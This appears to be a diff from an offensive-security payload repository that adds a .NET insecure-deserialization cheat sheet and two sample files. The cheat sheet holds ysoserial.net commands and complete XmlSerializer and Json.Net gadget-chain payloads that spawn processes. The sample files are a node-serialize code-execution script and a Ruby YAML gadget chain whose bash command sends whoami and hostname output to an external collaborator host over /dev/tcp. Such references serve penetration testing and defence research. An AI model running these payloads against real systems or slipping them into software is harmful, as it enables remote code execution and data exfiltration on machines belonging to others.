## Summary
|
||||
|
||||
* [Detection](#detection)
|
||||
* [Tools](#tools)
|
||||
* [Formatters](#formatters)
|
||||
* [XmlSerializer](#xmlserializer)
|
||||
* [DataContractSerializer](#datacontractserializer)
|
||||
* [NetDataContractSerializer](#netdatacontractserializer)
|
||||
* [LosFormatter](#losformatter)
|
||||
* [JSON.NET](#jsonnet)
|
||||
* [BinaryFormatter](#binaryformatter)
|
||||
* [POP Gadgets](#pop-gadgets)
|
||||
* [References](#references)
|
||||
|
||||
## Detection
|
||||
|
||||
| Data | Description |
|
||||
| -------------- | ------------------- |
|
||||
| `AAEAAD` (Hex) | .NET BinaryFormatter |
|
||||
| `FF01` (Hex) | .NET ViewState |
|
||||
| `/w` (Base64) | .NET ViewState |
|
||||
|
||||
Example: `AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=`
|
||||
|
||||
## Tools
|
||||
|
||||
* [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net) - Deserialization payload generator for a variety of .NET formatters
|
||||
|
||||
```ps1
|
||||
cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
|
||||
./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
|
||||
./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
|
||||
./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
|
||||
```
|
||||
|
||||
* [irsdl/ysonet](https://github.com/irsdl/ysonet) - Deserialization payload generator for a variety of .NET formatters
|
||||
|
||||
```ps1
|
||||
cat my_long_cmd.txt | ysonet.exe -o raw -g WindowsIdentity -f Json.Net -s
|
||||
./ysonet.exe -p DotNetNuke -m read_file -f win.ini
|
||||
./ysonet.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
|
||||
./ysonet.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
|
||||
```
|
||||
|
||||
## Formatters
|
||||
|
||||

|
||||
.NET Native Formatters from [pwntester/attacking-net-serialization](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=15)
|
||||
|
||||
### XmlSerializer
|
||||
|
||||
* In C# source code, look for `XmlSerializer(typeof(<TYPE>));`.
|
||||
* The attacker must control the **type** of the XmlSerializer.
|
||||
* Payload output: **XML**
|
||||
|
||||
```xml
|
||||
.\ysoserial.exe -g ObjectDataProvider -f XmlSerializer -c "calc.exe"
|
||||
<?xml version="1.0"?>
|
||||
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
|
||||
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
|
||||
<ExpandedElement/>
|
||||
<ProjectedProperty0>
|
||||
<MethodName>Parse</MethodName>
|
||||
<MethodParameters>
|
||||
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
|
||||
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc.exe</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
|
||||
</anyType>
|
||||
</MethodParameters>
|
||||
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
|
||||
</ProjectedProperty0>
|
||||
</ExpandedWrapperOfXamlReaderObjectDataProvider>
|
||||
</root>
|
||||
```
|
||||
|
||||
### DataContractSerializer
|
||||
|
||||
> The DataContractSerializer deserializes in a loosely coupled way. It never reads common language runtime (CLR) type and assembly names from the incoming data. The security model for the XmlSerializer is similar to that of the DataContractSerializer, and differs mostly in details. For example, the XmlIncludeAttribute attribute is used for type inclusion instead of the KnownTypeAttribute attribute.
|
||||
|
||||
* In C# source code, look for `DataContractSerializer(typeof(<TYPE>))`.
|
||||
* Payload output: **XML**
|
||||
* Data **Type** must be user-controlled to be exploitable
|
||||
|
||||
### NetDataContractSerializer
|
||||
|
||||
> It extends the `System.Runtime.Serialization.XmlObjectSerializer` class and is capable of serializing any type annotated with serializable attribute as `BinaryFormatter`.
|
||||
|
||||
* In C# source code, look for `NetDataContractSerializer().ReadObject()`.
|
||||
* Payload output: **XML**
|
||||
|
||||
```ps1
|
||||
.\ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
|
||||
```
|
||||
|
||||
### LosFormatter
|
||||
|
||||
* Use `BinaryFormatter` internally.
|
||||
|
||||
```ps1
|
||||
.\ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
|
||||
```
|
||||
|
||||
### JSON.NET
|
||||
|
||||
* In C# source code, look for `JsonConvert.DeserializeObject<Expected>(json, new JsonSerializerSettings`.
|
||||
* Payload output: **JSON**
|
||||
|
||||
```ps1
|
||||
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc.exe" -t
|
||||
{
|
||||
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
|
||||
'MethodName':'Start',
|
||||
'MethodParameters':{
|
||||
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
|
||||
'$values':['cmd', '/c calc.exe']
|
||||
},
|
||||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||||
}
|
||||
```
|
||||
|
||||
### BinaryFormatter
|
||||
|
||||
> The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can’t be made secure.
|
||||
|
||||
* In C# source code, look for `System.Runtime.Serialization.Binary.BinaryFormatter`.
|
||||
* Exploitation requires `[Serializable]` or `ISerializable` interface.
|
||||
* Payload output: **Binary**
|
||||
|
||||
```ps1
|
||||
./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
|
||||
```
|
||||
|
||||
## POP Gadgets
|
||||
|
||||
These gadgets must have the following properties:
|
||||
|
||||
* Serializable
|
||||
* Public/settable variables
|
||||
* Magic "functions": Get/Set, OnSerialisation, Constructors/Destructors
|
||||
|
||||
You must carefully select your **gadgets** for a targeted **formatter**.
|
||||
|
||||
List of popular gadgets used in common payloads.
|
||||
|
||||
* **ObjectDataProvider** from `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll`
|
||||
* Use `MethodParameters` to set arbitrary parameters
|
||||
* Use `MethodName` to call an arbitrary function
|
||||
* **ExpandedWrapper**
|
||||
* Specify the `object types` of the objects that are encapsulated
|
||||
|
||||
```cs
|
||||
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
|
||||
```
|
||||
|
||||
* **System.Configuration.Install.AssemblyInstaller**
|
||||
* Execute payload with Assembly.Load
|
||||
|
||||
```cs
|
||||
// System.Configuration.Install.AssemblyInstaller
|
||||
public void set_Path(string value){
|
||||
if (value == null){
|
||||
this.assembly = null;
|
||||
}
|
||||
this.assembly = Assembly.LoadFrom(value);
|
||||
}
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - Slides - James Forshaw - September 20, 2012](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf)
|
||||
* [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - White Paper - James Forshaw - September 20, 2012](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||||
* [Attacking .NET Deserialization - Alvaro Muñoz - April 28, 2018](https://youtu.be/eDfGpu3iE4Q)
|
||||
* [Attacking .NET Serialization - Alvaro - October 20, 2017](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=11)
|
||||
* [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) - HackTricks - July 18, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net)
|
||||
* [Bypassing .NET Serialization Binders - Markus Wulftange - June 28, 2022](https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html)
|
||||
* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili (@irsdl) - April 23, 2019](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
* [Finding a New DataContractSerializer RCE Gadget Chain - dugisec - November 7, 2019](https://muffsec.com/blog/finding-a-new-datacontractserializer-rce-gadget-chain/)
|
||||
* [Friday the 13th: JSON Attacks - DEF CON 25 Conference - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.youtube.com/watch?v=ZBfBYoK_Wr0)
|
||||
* [Friday the 13th: JSON Attacks - Slides - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
* [Friday the 13th: JSON Attacks - White Paper - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)
|
||||
* [Now You Serial, Now You Don't - Systematically Hunting for Deserialization Exploits - Alyssa Rahman - December 13, 2021](https://www.mandiant.com/resources/blog/hunting-deserialization-exploits)
|
||||
* [Sitecore Experience Platform Pre-Auth RCE - CVE-2021-42237 - Shubham Shah - November 2, 2021](https://blog.assetnote.io/2021/11/02/sitecore-rce/)
|
||||
5
Insecure Deserialization/Files/node-serialize.js
Normal file
5
Insecure Deserialization/Files/node-serialize.js
Normal file
|
|
@ -0,0 +1,5 @@
|
|||
var y = {
|
||||
rce : function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });},
|
||||
}
|
||||
var serialize = require('node-serialize');
|
||||
console.log("Serialized: \n" + serialize.serialize(y));
|
||||
19
Insecure Deserialization/Files/ruby-serialize.yaml
Normal file
19
Insecure Deserialization/Files/ruby-serialize.yaml
Normal file
|
|
@ -0,0 +1,19 @@
|
|||
---
|
||||
- !ruby/object:Gem::Installer
|
||||
i: x
|
||||
- !ruby/object:Gem::SpecFetcher
|
||||
i: y
|
||||
- !ruby/object:Gem::Requirement
|
||||
requirements:
|
||||
!ruby/object:Gem::Package::TarReader
|
||||
io: &1 !ruby/object:Net::BufferedIO
|
||||
io: &1 !ruby/object:Gem::Package::TarReader::Entry
|
||||
read: 0
|
||||
header: "abc"
|
||||
debug_output: &1 !ruby/object:Net::WriteAdapter
|
||||
socket: &1 !ruby/object:Gem::RequestSet
|
||||
sets: !ruby/object:Net::WriteAdapter
|
||||
socket: !ruby/module 'Kernel'
|
||||
method_id: :system
|
||||
git_set: "bash -c 'echo 1 > /dev/tcp/`whoami`.`hostname`.wkkib01k9lsnq9qm2pogo10tmksagz.burpcollaborator.net/443'"
|
||||
method_id: :resolve
|
||||
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue